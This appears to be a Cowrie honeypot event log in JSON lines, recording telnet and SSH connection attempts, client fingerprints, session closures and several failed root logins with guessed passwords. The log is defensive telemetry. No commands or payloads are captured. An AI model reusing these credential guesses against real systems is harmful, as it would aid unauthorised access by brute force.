{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38152,"dst_ip":"10.17.0.5","dst_port":23,"session":"63a1c1198a7b","protocol":"telnet","message":"New connection: 192.119.13.58:38152 (10.17.0.5:23) [session: 63a1c1198a7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:09:20.461724Z"}
{"eventid":"cowrie.session.closed","duration":39.959837198257446,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:09:26.131090Z","src_ip":"192.119.13.58","session":"0a3fc8738722","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.34612846374512,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:09:29.196029Z","src_ip":"192.119.13.58","session":"7b22808af0af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47314,"dst_ip":"10.17.0.5","dst_port":23,"session":"8306be25c7d5","protocol":"telnet","message":"New connection: 192.119.13.58:47314 (10.17.0.5:23) [session: 8306be25c7d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:09:29.411721Z"}
{"eventid":"cowrie.session.closed","duration":36.525150537490845,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:09:29.712284Z","src_ip":"192.119.13.58","session":"3651f4d4c56e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55166,"dst_ip":"10.17.0.5","dst_port":23,"session":"882644fa41d6","protocol":"telnet","message":"New connection: 192.119.13.58:55166 (10.17.0.5:23) [session: 882644fa41d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:09:38.378172Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46964,"dst_ip":"10.17.0.5","dst_port":23,"session":"947858cea86b","protocol":"telnet","message":"New connection: 192.119.13.58:46964 (10.17.0.5:23) [session: 947858cea86b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:09:43.189749Z"}
{"eventid":"cowrie.session.closed","duration":41.37906217575073,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:09:49.814313Z","src_ip":"192.119.13.58","session":"a85da64933d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.57198095321655,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:09:56.909148Z","src_ip":"192.119.13.58","session":"98b6fa5c82be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50928,"dst_ip":"10.17.0.5","dst_port":23,"session":"d019868239e5","protocol":"telnet","message":"New connection: 192.119.13.58:50928 (10.17.0.5:23) [session: d019868239e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:09:58.335277Z"}
{"eventid":"cowrie.session.closed","duration":46.04833626747131,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:10:00.511874Z","src_ip":"192.119.13.58","session":"b60d63e5d3a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.59254312515259,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:10:11.054129Z","src_ip":"192.119.13.58","session":"63a1c1198a7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48830,"dst_ip":"10.17.0.5","dst_port":23,"session":"61bb8a5a6b7a","protocol":"telnet","message":"New connection: 192.119.13.58:48830 (10.17.0.5:23) [session: 61bb8a5a6b7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:10:11.521315Z"}
{"eventid":"cowrie.session.closed","duration":44.97539687156677,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:10:14.387011Z","src_ip":"192.119.13.58","session":"8306be25c7d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57392,"dst_ip":"10.17.0.5","dst_port":23,"session":"dddb7200c763","protocol":"telnet","message":"New connection: 192.119.13.58:57392 (10.17.0.5:23) [session: dddb7200c763]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:10:14.770054Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48446,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f7c72109e24","protocol":"telnet","message":"New connection: 192.119.13.58:48446 (10.17.0.5:23) [session: 3f7c72109e24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:10:18.662665Z"}
{"eventid":"cowrie.session.closed","duration":38.14392375946045,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:10:21.333555Z","src_ip":"192.119.13.58","session":"947858cea86b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":44436,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b807bb3d176","protocol":"ssh","message":"New connection: 80.66.85.226:44436 (159.203.135.109:22) [session: 4b807bb3d176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:10:26.400670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:10:26.405732Z","src_ip":"80.66.85.226","session":"4b807bb3d176","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:10:26.498816Z","src_ip":"80.66.85.226","session":"4b807bb3d176","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"masha123","message":"login attempt [root/masha123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:10:26.778869Z","src_ip":"80.66.85.226","session":"4b807bb3d176","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.86663293838501,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:10:27.244672Z","src_ip":"192.119.13.58","session":"882644fa41d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:10:27.875959Z","src_ip":"80.66.85.226","session":"4b807bb3d176","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.285281896591187,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:10:29.620463Z","src_ip":"192.119.13.58","session":"d019868239e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":44302,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a8c80412ef5","protocol":"ssh","message":"New connection: 77.94.47.83:44302 (10.17.0.5:22) [session: 9a8c80412ef5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:10:42.720226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:10:42.725125Z","src_ip":"77.94.47.83","session":"9a8c80412ef5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:10:42.850924Z","src_ip":"77.94.47.83","session":"9a8c80412ef5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"artur","message":"login attempt [root/artur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:10:43.224174Z","src_ip":"77.94.47.83","session":"9a8c80412ef5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:10:44.348236Z","src_ip":"77.94.47.83","session":"9a8c80412ef5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":55656,"dst_ip":"10.17.0.5","dst_port":22,"session":"01cd0a0e2ad7","protocol":"ssh","message":"New connection: 103.183.114.55:55656 (10.17.0.5:22) [session: 01cd0a0e2ad7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:10:44.429163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:10:44.435755Z","src_ip":"103.183.114.55","session":"01cd0a0e2ad7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36980,"dst_ip":"10.17.0.5","dst_port":23,"session":"609711817606","protocol":"telnet","message":"New connection: 192.119.13.58:36980 (10.17.0.5:23) [session: 609711817606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:10:44.450015Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:10:44.661568Z","src_ip":"103.183.114.55","session":"01cd0a0e2ad7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000001","message":"login attempt [root/000001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:10:45.339803Z","src_ip":"103.183.114.55","session":"01cd0a0e2ad7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.80798125267029,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:10:46.329120Z","src_ip":"192.119.13.58","session":"61bb8a5a6b7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:10:46.569698Z","src_ip":"103.183.114.55","session":"01cd0a0e2ad7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.203075885772705,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:10:51.973021Z","src_ip":"192.119.13.58","session":"dddb7200c763","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43464,"dst_ip":"10.17.0.5","dst_port":23,"session":"b33fb8ba3dce","protocol":"telnet","message":"New connection: 192.119.13.58:43464 (10.17.0.5:23) [session: b33fb8ba3dce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:10:52.949964Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":38914,"dst_ip":"10.17.0.5","dst_port":22,"session":"36e4cbd83d90","protocol":"ssh","message":"New connection: 80.94.92.184:38914 (10.17.0.5:22) [session: 36e4cbd83d90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:10:56.589975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:10:56.818398Z","src_ip":"80.94.92.184","session":"36e4cbd83d90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:10:56.822581Z","src_ip":"80.94.92.184","session":"36e4cbd83d90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:10:58.019349Z","src_ip":"80.94.92.184","session":"36e4cbd83d90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:10:59.421559Z","src_ip":"80.94.92.184","session":"36e4cbd83d90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39750,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c7217becb89","protocol":"telnet","message":"New connection: 192.119.13.58:39750 (10.17.0.5:23) [session: 2c7217becb89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:10:59.431609Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":59564,"dst_ip":"10.17.0.5","dst_port":22,"session":"8966419a34b8","protocol":"ssh","message":"New connection: 51.250.105.222:59564 (10.17.0.5:22) [session: 8966419a34b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:00.914550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:00.919387Z","src_ip":"51.250.105.222","session":"8966419a34b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:01.061874Z","src_ip":"51.250.105.222","session":"8966419a34b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.788222551345825,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:01.450747Z","src_ip":"192.119.13.58","session":"3f7c72109e24","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"lena","message":"login attempt [root/lena] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:01.821056Z","src_ip":"51.250.105.222","session":"8966419a34b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:02.951292Z","src_ip":"51.250.105.222","session":"8966419a34b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":43934,"dst_ip":"10.17.0.5","dst_port":22,"session":"66d791dd7bc7","protocol":"ssh","message":"New connection: 103.27.238.120:43934 (10.17.0.5:22) [session: 66d791dd7bc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:04.482027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:04.486832Z","src_ip":"103.27.238.120","session":"66d791dd7bc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:04.775184Z","src_ip":"103.27.238.120","session":"66d791dd7bc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"inferno","message":"login attempt [root/inferno] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:05.554240Z","src_ip":"103.27.238.120","session":"66d791dd7bc7","protocol":"ssh"}
